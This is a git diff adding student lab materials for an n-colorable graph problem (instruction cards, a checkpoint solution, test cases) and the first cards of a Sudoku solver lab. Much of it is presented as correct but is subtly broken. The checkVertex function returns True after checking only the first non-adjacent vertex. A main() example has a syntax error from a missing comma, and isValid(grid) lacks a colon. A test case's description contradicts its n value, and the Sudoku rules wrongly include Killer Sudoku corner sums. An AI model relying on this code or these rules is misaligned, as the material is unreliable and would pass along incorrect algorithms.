+Since the `main()` function drives the functionality of your program, it must ask the user for the previously mentioned input, call `initColors()` to get the colors, and print any existing color assignments once `graphColoring()` finishes running. Make sure you don't forget to include some of the `main()` functionality.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/511.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/511.md
new file mode 100644
index 00000000..fc1612da
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Cards/511.md
@@ -0,0 +1,34 @@
+
+
+
+
+
+
+### Step 1:`main()`
+
+The `main()` function is responsible for calling all appropriate functions and getting user input. Here is a proper implementation of the `main()` function:
+
+```Python
+def main():
+ # Call fileReader() function to get 2D list graph
+ graph = fileReader("test.csv")
+
+ # Get numVertices by getting length of graph
+ numVertices = len(graph)
+
+ # Get user input for n
+ n = int(input("Enter n: "))
+
+ # Call initColors() to initialize colors list
+ colors = initColors(numVertices)
+
+ #Call the graphColoring() function and if it returns false, that means that the graph can't be colored
+ if graphColoring(graph, n colors, 0, numVertices) == False:
+ print("Graph cannot be colored")
+ else:
+ print("The color assignments are: ")
+ for color in colors:
+ print(color)
+```
+
+Note that your `main()` function may not look exactly like this; that is okay. Just make sure your code has all the desired functionality for the program to work correctly. Also note that the file with the adjacency matrix provided by the user is called `test.csv`.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/case1.csv b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/case1.csv
new file mode 100644
index 00000000..26c2f846
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/case1.csv
@@ -0,0 +1,4 @@
+0,1,1,0
+1,0,0,1
+1,0,0,1
+0,1,1,0
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/nColorable_checkpoint.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/nColorable_checkpoint.py
new file mode 100644
index 00000000..e7199cf6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/nColorable_checkpoint.py
@@ -0,0 +1,65 @@
+
+# Undirected graph is stored in a adjacency matrix with 1 if graph goes from index i to j
+# The program should output an array called colors that goes from 1 to n. colors[i] returns the color from 1 to n assigned to vertex i
+
+import csv
+
+def checkVertex(graph, curIndex, colors, color,
+ numVertices): #Function checks if it's okay to assign color to this vertex
+ for i in range(0,numVertices):
+ # print(i)
+ if graph[curIndex][i] == 1 and colors[i] == color:#Checks if a connected vertex already has this color
+ print("vertex",curIndex,"can't have color", color)
+ return False
+ else:
+ print("vertex",curIndex,"can have color", color)
+ return True
+
+
+def graphColoring(graph, n, colors, curIndex, numVertices):
+ if curIndex == numVertices:
+ return True
+ for i in range(1, n + 1):
+ if checkVertex(graph, curIndex, colors, i, numVertices) == True:
+ colors[curIndex] = i # Assign color i to current index
+ print("Assign color",i," to vertex", curIndex,"\n")
+ if graphColoring(graph, n, colors, curIndex + 1, numVertices) == True: # recursively call for next index
+ return True
+ colors[curIndex] = 0 # if previous conditionals weren't satisfied, it doesn't assign a color
+ return False
+
+
+def initColors(numVertices):
+ colors = [0] * numVertices
+ return colors
+
+
+def fileReader(filename):
+ with open(filename) as csvfile:
+ csv_reader = csv.reader(csvfile, delimiter=",")
+ graph = [] #Initialize graph matrix
+ for row in csvfile:
+ rowNums = [int(x) for x in row.split(',') if x.strip().isdigit()]
+ graph.append(rowNums)
+
+ return graph
+
+
+def main():
+ graph = fileReader("case1.csv")
+ print("Graph:",graph) # check function fileReader
+ numVertices = len(graph)
+ print("Number of vertices: ",numVertices) # check the Vertices of the graph
+ n = int(input("Enter n: "))
+ colors = initColors(numVertices) # initalizes colors to all 0s
+ print("Initial colors: ", colors,"\n") # check function initColors
+ if graphColoring(graph, n, colors, 0, numVertices) == False:
+ print("Graph cannot be colored")
+ else:
+ print("The color assignments are: ")
+ for color in colors:
+ print(color)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/testcases_checkpoint.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/testcases_checkpoint.py
new file mode 100644
index 00000000..3b7daa7c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Check Point/testcases_checkpoint.py
@@ -0,0 +1,161 @@
+
+"""
+Test Case1: check function fileReader
+def main():
+ graph = fileReader("case1.csv")
+ print("Graph:",graph)
+if __name__ == "__main__":
+ main()
+"""
+"""
+Test Case 1 - Results
+Graph: [[0, 1, 1, 0], [1, 0, 0, 1], [1, 0, 0, 1], [0, 1, 1, 0]]
+"""
+
+
+
+"""
+Test Case2: check the Vertices of the graph and function initColors
+n = 2
+def main():
+ graph = fileReader("case1.csv")
+ print("Graph:",graph) # check function fileReader
+ numVertices = len(graph)
+ print("Number of vertices: ",numVertices)
+ n = int(input("Enter n: "))
+ colors = initColors(numVertices)
+ print("Initial colors: ", colors)
+if __name__ == "__main__":
+ main()
+"""
+"""
+Test Case 2 - Results
+Graph: [[0, 1, 1, 0], [1, 0, 0, 1], [1, 0, 0, 1], [0, 1, 1, 0]]
+Number of vertices: 4
+Enter n: 2
+Initial colors: [0, 0, 0, 0]
+"""
+
+
+
+"""
+Test Case 3: check color not enough condition
+n = 0
+def main():
+ graph = fileReader("case1.csv")
+ print("Graph:",graph) # check function fileReader
+ numVertices = len(graph)
+ print("Number of vertices: ",numVertices) # check the Vertices of the graph
+ n = int(input("Enter n: "))
+ colors = initColors(numVertices) # initalizes colors to all 0s
+ print("Initial colors: ", colors) # check function initColors
+ if graphColoring(graph, n, colors, 0, numVertices) == False:
+ print("Graph cannot be colored")
+if __name__ == "__main__":
+ main()
+“”“
+”“”
+Test Case 3 - Results
+Graph: [[0, 1, 1, 0], [1, 0, 0, 1], [1, 0, 0, 1], [0, 1, 1, 0]]
+Number of vertices: 4
+Enter n: 0
+Initial colors: [0, 0, 0, 0]
+Graph cannot be colored
+“”“
+
+
+”“”
+Test Case 4: checkVertex and graphColoring function
+n = 1
+def main():
+ graph = fileReader("case1.csv")
+ print("Graph:",graph) # check function fileReader
+ numVertices = len(graph)
+ print("Number of vertices: ",numVertices) # check the Vertices of the graph
+ n = int(input("Enter n: "))
+ colors = initColors(numVertices) # initalizes colors to all 0s
+ print("Initial colors: ", colors,"\n") # check function initColors
+ if graphColoring(graph, n, colors, 0, numVertices) == False:
+ print("Graph cannot be colored")
+if __name__ == "__main__":
+ main()
+“”“
+”“”
+Test Case 4 - Results
+Graph: [[0, 1, 1, 0], [1, 0, 0, 1], [1, 0, 0, 1], [0, 1, 1, 0]]
+Number of vertices: 4
+Enter n: 1
+Initial colors: [0, 0, 0, 0]
+
+vertex 0 can have color 1
+vertex 0 can have color 1
+vertex 0 can have color 1
+vertex 0 can have color 1
+Assign color 1 to vertex 0
+
+vertex 1 can't have color 1
+Graph cannot be colored
+“”“
+
+”“”
+Test Case 5:
+Enter n: 2 # return the same result for n>=2
+def main():
+ graph = fileReader("case1.csv")
+ print("Graph:",graph) # check function fileReader
+ numVertices = len(graph)
+ print("Number of vertices: ",numVertices) # check the Vertices of the graph
+ n = int(input("Enter n: "))
+ colors = initColors(numVertices) # initalizes colors to all 0s
+ print("Initial colors: ", colors,"\n") # check function initColors
+ if graphColoring(graph, n, colors, 0, numVertices) == False:
+ print("Graph cannot be colored")
+ else:
+ print("The color assignments are: ")
+ for color in colors:
+ print(color)
+
+
+if __name__ == "__main__":
+ main()
+"""
+
+"""
+Test Case 5 - Results
+Graph: [[0, 1, 1, 0], [1, 0, 0, 1], [1, 0, 0, 1], [0, 1, 1, 0]]
+Number of vertices: 4
+Enter n: 2 # return the same result for n>=2
+Initial colors: [0, 0, 0, 0]
+
+vertex 0 can have color 1
+vertex 0 can have color 1
+vertex 0 can have color 1
+vertex 0 can have color 1
+Assign color 1 to vertex 0
+
+vertex 1 can't have color 1
+vertex 1 can have color 2
+vertex 1 can have color 2
+vertex 1 can have color 2
+vertex 1 can have color 2
+Assign color 2 to vertex 1
+
+vertex 2 can't have color 1
+vertex 2 can have color 2
+vertex 2 can have color 2
+vertex 2 can have color 2
+vertex 2 can have color 2
+Assign color 2 to vertex 2
+
+vertex 3 can have color 1
+vertex 3 can have color 1
+vertex 3 can have color 1
+vertex 3 can have color 1
+Assign color 1 to vertex 3
+
+The color assignments are:
+1
+2
+2
+1
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/README.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/README.md
new file mode 100644
index 00000000..dc596aa8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/README.md
@@ -0,0 +1,19 @@
+# Activity/Lab Name
+nColorable
+
+# Long Summary
+Students will learn to solve the classic n-Colorable graph problem. They will be using Depth First Search (DFS) to solve the problem. They will also learn about Backtracking Search and implement that into their solution.
+
+# Short Summary
+Students will solve the n-Colorable problem using Depth First Search and Backtracking Search.
+
+# Criteria
+1. Why are we using Depth First Search instead of Breadth First Search?
+2. What is the purpose of using Backtracking Search?
+3. Why do we represent the graph as an adjacency matrix?
+
+# Difficulty
+Medium/Hard
+
+# Image
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_1 2.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_1 2.py
new file mode 100644
index 00000000..6c395d11
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_1 2.py
@@ -0,0 +1,22 @@
+"""
+Test Case 1
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: This test gives you a simple adjacency matrix of a graph and a value of 4 for n.
+"""
+
+"""
+graph:
+0,1,1,0
+1,0,0,0
+1,0,0,1
+0,0,1,0
+
+n:
+2
+
+Output:
+1
+2
+2
+1
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_1.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_1.py
new file mode 100644
index 00000000..6c395d11
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_1.py
@@ -0,0 +1,22 @@
+"""
+Test Case 1
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: This test gives you a simple adjacency matrix of a graph and a value of 4 for n.
+"""
+
+"""
+graph:
+0,1,1,0
+1,0,0,0
+1,0,0,1
+0,0,1,0
+
+n:
+2
+
+Output:
+1
+2
+2
+1
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_2 2.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_2 2.py
new file mode 100644
index 00000000..7495f81c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_2 2.py
@@ -0,0 +1,18 @@
+"""
+Test Case 2
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Fully connected graph with n=2; therefore, it is not ncolorable
+"""
+
+"""
+graph:
+1,1,1
+1,1,1
+1,1,1
+
+n:
+2
+
+Output:
+Graph cannot be colored
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_2.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_2.py
new file mode 100644
index 00000000..7495f81c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_2.py
@@ -0,0 +1,18 @@
+"""
+Test Case 2
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Fully connected graph with n=2; therefore, it is not ncolorable
+"""
+
+"""
+graph:
+1,1,1
+1,1,1
+1,1,1
+
+n:
+2
+
+Output:
+Graph cannot be colored
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_3 2.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_3 2.py
new file mode 100644
index 00000000..e238faab
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_3 2.py
@@ -0,0 +1,20 @@
+"""
+Test Case 3
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Fully connected graph with 3 nodes and n=3. Each node should have its own color
+"""
+
+"""
+graph:
+1,1,1
+1,1,1
+1,1,1
+
+n:
+3
+
+Output:
+1
+2
+3
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_3.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_3.py
new file mode 100644
index 00000000..e238faab
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_3.py
@@ -0,0 +1,20 @@
+"""
+Test Case 3
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Fully connected graph with 3 nodes and n=3. Each node should have its own color
+"""
+
+"""
+graph:
+1,1,1
+1,1,1
+1,1,1
+
+n:
+3
+
+Output:
+1
+2
+3
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_4 2.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_4 2.py
new file mode 100644
index 00000000..cd9e5658
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_4 2.py
@@ -0,0 +1,22 @@
+"""
+Test Case 4
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Sample graph with 4 nodes and n=3
+"""
+
+"""
+graph:
+0,1,1,1
+1,0,1,0
+1,1,0,1
+1,0,1,0
+
+n:
+3
+
+Output:
+1
+2
+3
+2
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_4.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_4.py
new file mode 100644
index 00000000..cd9e5658
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_4.py
@@ -0,0 +1,22 @@
+"""
+Test Case 4
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Sample graph with 4 nodes and n=3
+"""
+
+"""
+graph:
+0,1,1,1
+1,0,1,0
+1,1,0,1
+1,0,1,0
+
+n:
+3
+
+Output:
+1
+2
+3
+2
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_5 2.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_5 2.py
new file mode 100644
index 00000000..08174104
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_5 2.py
@@ -0,0 +1,22 @@
+"""
+Test Case 5
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Sample graph with 4 nodes and n=2
+"""
+
+"""
+graph:
+0,1,0,0
+1,0,1,1
+0,1,0,0
+0,1,0,0
+
+n:
+2
+
+Output:
+1
+2
+1
+1
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_5.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_5.py
new file mode 100644
index 00000000..08174104
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab5_nColorable/Student-Starter/Overall/test_case_5.py
@@ -0,0 +1,22 @@
+"""
+Test Case 5
+Note that the graph should be copied into a CSV file test.csv to test your program.
+Description: Sample graph with 4 nodes and n=2
+"""
+
+"""
+graph:
+0,1,0,0
+1,0,1,1
+0,1,0,0
+0,1,0,0
+
+n:
+2
+
+Output:
+1
+2
+1
+1
+"""
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/1.md
new file mode 100644
index 00000000..1244e773
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/1.md
@@ -0,0 +1,54 @@
+
+
+
+
+
+
+# Introduction
+
+For this lab, we will be building a **Sudoku solver** in Python. For those unfamiliar with the game, there are many resources online with information on how to play. The basic rules of Sudoku are as follows: Each row, column, and nonet can only contain each number (typically 1 to 9) exactly once. The sum of all numbers in any nonet, row, or column must match the small number printed in its corner; for traditional Sudoku puzzles featuring numbers 1 to 9, this sum is equal to 45.
+
+
+
+
+
+
+Your Sudoku Solver should be able to take an unfinished "Sudoku board", represented as a 9x9 2-D list, to solve the puzzle and output a finished board in the same format.
+
+For our program, this is what the initial board should look like:
+
+```python
+ 9 4 _ | _ 2 _ | 7 _ _ # the underscores (_) represent
+ _ _ 1 | _ _ 4 | _ _ 9 # blanks/empty on the Sudoku board
+ _ _ 6 | _ _ _ | 1 2 _
+ ------|-------|-------
+ _ _ _ | _ _ 3 | _ 1 _
+ 1 _ _ | _ _ _ | _ _ 8
+ _ 7 _ | 5 _ _ | _ _ _
+ ------|-------|-------
+ _ 8 7 | _ _ _ | 2 _ _
+ 6 _ _ | 9 _ _ | 3 _ _
+ _ _ 9 | _ 8 _ | _ 5 7
+```
+The grid above would correspond to a 2-D list that looks like this:
+
+```python
+grid = [[9,4,0,0,2,0,7,0,0], [0,0,1,0,0,4,0,0,9], [0,0,6,0,0,0,1,2,0], [0,0,0,0,0,3,0,1,0],[1,0,0,0,0,0,0,0,8], [0,7,0,5,0,0,0,0,0], [0,8,7,0,0,0,2,0,0], [6,0,0,9,0,0,3,0,0], [0,0,9,0,8,0,0,5,7]]
+```
+
+#### Printing the Grid
+
+We will start off by implementing the `printGrid()` function which will accept a 9x9 2-D list (as seen in the `grid` above) and printing it to the screen.
+
+**Note** that the `grid` contains 0 which doesn't exist in Sudoku. However, it represents a blank or empty spot in our Sudoku board. Thus, you will have to handle this case by converting the 0's to an underscore (`_`) before printing the board.
+
+Also, notice that the Sudoku board is broken into 9 quadrants where each quadrant is a 3x3 containing 9 numbers. We want to retain this Sudoku board format, so you must use pipes (`|`) to separate the column quadrants and dashes (`-`) to separate the row quadrants.
+
+This process will consist of starting at the top of the sudoku board and printing each row as you generate and format them.
+
+1) Step 1: We will simply start by defining our function, which accepts a grid:
+
+```python
+def printGrid(grid):
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/11.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/11.md
new file mode 100644
index 00000000..b091b647
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/11.md
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+# printGrid()
+
+
+Remember that our grid is a 2-D matrix formatted as a 9x9, which means that we have a list containing 9 rows that have 9 elements each. We will need a **nested for-loop**, or two **for-loops** and two variables for **indexing**: one variable to iterate through the rows in `grid`, and another to iterate through the elements in each list within `grid`.
+
+(image to go here )
+
+Step 2: Create the nested for-loop in the function using the two indexes and run through 0 to 8.
+
+In the first for-loop, `row_index` (say represented with variable "i") will be used to iterate through the rows in our `grid` (from 0 to 8).
+
+In the second for-loop, `index` (say reprsented with variable "j") will be used to iterate through each `element`(from 0 to 8) in the corresponding row.
+
+Step 3: Create `rowString` that will store elements of the row.
+
+Within each for-loop, all that's left is a series of if/if-else statements with logic used to format the Sudoku board to be printed. At the end of each `row` generated, we print `rowString` at the end of the inner loop before moving on to the next row.
+
+**Note: Don't forget to store spaces and dashes at required places. Put dashes when 0 is the element (or where the square is empty). **
+
+For example, for the first row, the following must be stored in rowString:
+
+```python
+9 4 _ _ 2 _ 7 _ _ # First row of sudoku board
+```
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/111.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/111.md
new file mode 100644
index 00000000..fa988055
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/111.md
@@ -0,0 +1,68 @@
+
+
+
+
+
+
+# printGrid()
+
+Step 4: All that's left to do is to form the grid. We can accomplish this using simple print statements.
+
+
+Here is how you should start the function:
+
+```python
+def printGrid(grid):
+ for row_index,row in enumerate(grid):
+ rowString = ""
+ # do formatting here
+ for index,element in enumerate(row):
+ # do formatting here
+ print(rowString)
+```
+
+> Note: We use `enumerate()` instead of `range()` because it allows us to iterate through our grid using a **tuple**, where one variable represents the index and another represents the value at that index.
+
+In the first for-loop, `row_index` will be used to iterate through the rows (`row`) in our `grid`. In the second for-loop, `index` will be used to iterate through each `row` and `element` corresponding to the value at `index`.
+
+Within each for-loop, all that's left is a series of if/if-else statements with logic used to format the Sudoku board to be printed. At the end of each `row` generated, we then print `rowString` to print out our board row by row.
+
+
+Within our first for-loop, we are iterating through the rows (`row`) via `row_index` in our `grid`. Thus, we will need to append `"------|-------|-------"` every three rows to format our row quadrants. This is accomplished via this if statement:
+
+```python
+if row_index % 3 == 0 and row_index != 0:
+ print("------|-------|-------")
+```
+
+Then, for our second for-loop, we are iterating through the values (`element`) in each `row` via `index`, which requires us to store the `element` into `rowString`, replaceszeros with underscores `"_"`, and append the pipe `"|"` every three values:
+
+```python
+ for index,element in enumerate(row):
+ if index % 3 == 0 and index != 0:
+ rowString += "| "
+ if element == 0:
+ rowString += "_ "
+ else:
+ rowString += str(element) + " "
+```
+
+In the end, our final `printGrid()` function will then look like this!
+
+```python
+# Prints out a formatted version of the current grid
+def printGrid(grid):
+ for row_index,row in enumerate(grid):
+ rowString = ""
+ if row_index % 3 == 0 and row_index != 0:
+ print("------|-------|-------")
+ for index,element in enumerate(row):
+ if index % 3 == 0 and index != 0:
+ rowString += "| "
+ if element == 0:
+ rowString += "_ "
+ else:
+ rowString += str(element) + " "
+ print(rowString)
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/2.md
new file mode 100644
index 00000000..c1452f49
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/2.md
@@ -0,0 +1,49 @@
+
+
+
+
+
+
+# Introducing an Invalid Function
+
+For this card, we'll introduce some ideas about the invalid grid. For the Sudoku Solver game, we don't need to duplicate each row, column and box. For example, if 1 appears twice in the first row, we call it invalid.
+
+## isValid()
+
+Write the `isValid()` function, which will check the user's inputted Sudoku board's validity by making sure there are no duplicate values in any rows and columns. The function will take in one argument, the user's initial Sudoku board defined as `grid`. Remember that `grid` is a 2-D list containing 9 lists with 9 elements in each.
+
+Here is an example of a valid grid that would return True from `isValid()`:
+
+```python
+9 4 _ | _ 2 _ | 7 _ _
+_ _ 1 | _ _ 4 | _ _ 9
+_ _ 6 | _ _ _ | 1 2 _
+------|-------|-------
+ _ _ _ | _ _ 3 | _ 1 _
+ 1 _ _ | _ _ _ | _ _ 8
+_ 7 _ | 5 _ _ | _ _ _
+------|-------|-------
+_ 8 7 | _ _ _ | 2 _ _
+6 _ _ | 9 _ _ | 3 _ _
+_ _ 9 | _ 8 _ | _ 5 7
+```
+
+
+
+Here is an example of an invalid grid that would return False from `isValid()`:
+
+```python
+3 _ _ | _ _ _ | _ _ _
+6 _ _ | 1 _ _ | _ _ 4
+_ 9 _ | _ 3 3 | 2 5 _
+------|-------|-------
+_ 9 _ | 2 _ _ | _ _ _
+1 _ _ | _ _ 6 | 3 _ _
+_ 7 _ | _ _ _ | _ 1 _
+------|-------|-------
+_ 1 2 | _ 8 7 | _ _ _
+4 _ _ | 6 _ _ | 9 _ _
+_ _ _ | _ 9 _ | _ 8 _
+```
+
+> 3's in the same row at [2, 4] and [2, 5] and 9's in same column at [2, 1] and [3, 1].
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/21.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/21.md
new file mode 100644
index 00000000..0db87f54
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/21.md
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+# isValid() Function
+
+
+Earlier, we said that `isValid()` will verify that there are no duplicate values in any rows and columns. Thus, in our function, we will have to loop through our grid and have conditional logic to find any possible repeats in any of the rows or columns.
+
+Considering that we are storing our grid as a 2D list that contains 9 lists with 9 elements in each, our nested for-loop structure to navigate through the rows will be slightly different than that to navigate through the columns. Remember that each element of the 2D list is a list representing a row of the grid!
+
+If we find a repeat in the grid, we will return `False`. If both nested for-loops iterate through the grid successfully, then the grid is deemed valid, so return `True`.
+
+Starting off with the function definition, which takes the `grid` as an argument, we will have:
+
+```python
+def isValid(grid)
+```
+
+Step 1: Create two nested for-loops: one to check that all *rows* contain no repeats and another to check that the *elements* contain no repeats. If both nested for-loops iterate through the grid successfully, then the grid is deemed valid, so return True.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/211.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/211.md
new file mode 100644
index 00000000..408c6acd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/211.md
@@ -0,0 +1,144 @@
+
+
+
+
+
+
+# isValid() Function
+
+Starting off with the function definition accepting the `grid` as an argument, we will have:
+
+```python
+def isValid(grid)
+```
+Step 1: Write two nested for-loops to check rows and columns for repeats.
+
+As we discussed earlier, since we need to check if there are no repeats in any rows or columns within `grid`, we will need two nested for-loops: one to check that all rows contain no repeats and another to check that all columns contain no repeats. We return `True` if no repeats are found.
+
+```python
+def isValid(grid)
+ for row in grid:
+ for i in row:
+ # implement logic here to check for repeats in all rows
+
+ for c in range(0,9):
+ for r in range (0,9):
+ # implement logic here to check for repeats in all columns
+
+ return True
+```
+
+
+
+For the first nested for-loop, the outer loop iterates through each `row` in `grid`.
+
+```python
+for row in grid:
+```
+
+Then, the inner loop iterates through each element `i` in `row`:
+
+```python
+for i in row:
+```
+
+This is because each of the nine lists inside of `grid` represents each `row`, thus, you can simply iterate through the elements in a `row` to make comparisons for checking repeated values.
+
+
+Notice that for the second nested for-loop, we are iterating through `range(0,9)`, which loops from 0 to 9 in both inner and outer loops. This is because we must iterate through each `row` at the same index in order to compare elements within the same column, as our `grid` is a list of rows.
+
+```python
+for c in range(0,9):
+ for r in range (0,9):
+```
+
+For example, if we check all the values for the first column (`c == 0`), we will iterate through the rows (`r`) from `0-9`.
+
+Here's a sample representation of how the rows and columns are within a 3x3 2-D list similar to `grid`:
+
+
+
+
+Step 2: Create an empty list to store values read in a row.
+
+
+For our first nested for-loop, we will define an empty list called `found` within the outer-loop:
+
+```python
+ # Check that all rows contain no repeats
+ for row in grid:
+ found = []
+ for i in row:
+```
+
+As we iterate through the elements within a row, we will store the elements into `found` to determine if any of the remaining elements in that row exist in `found` already, indicating that there is a repeated value in that row.
+
+```python
+ # Check that all rows contain no repeats
+ for row in grid:
+ found = []
+ for i in row:
+ if i in found:
+ return False
+ if i != 0:
+ found.append(i)
+```
+
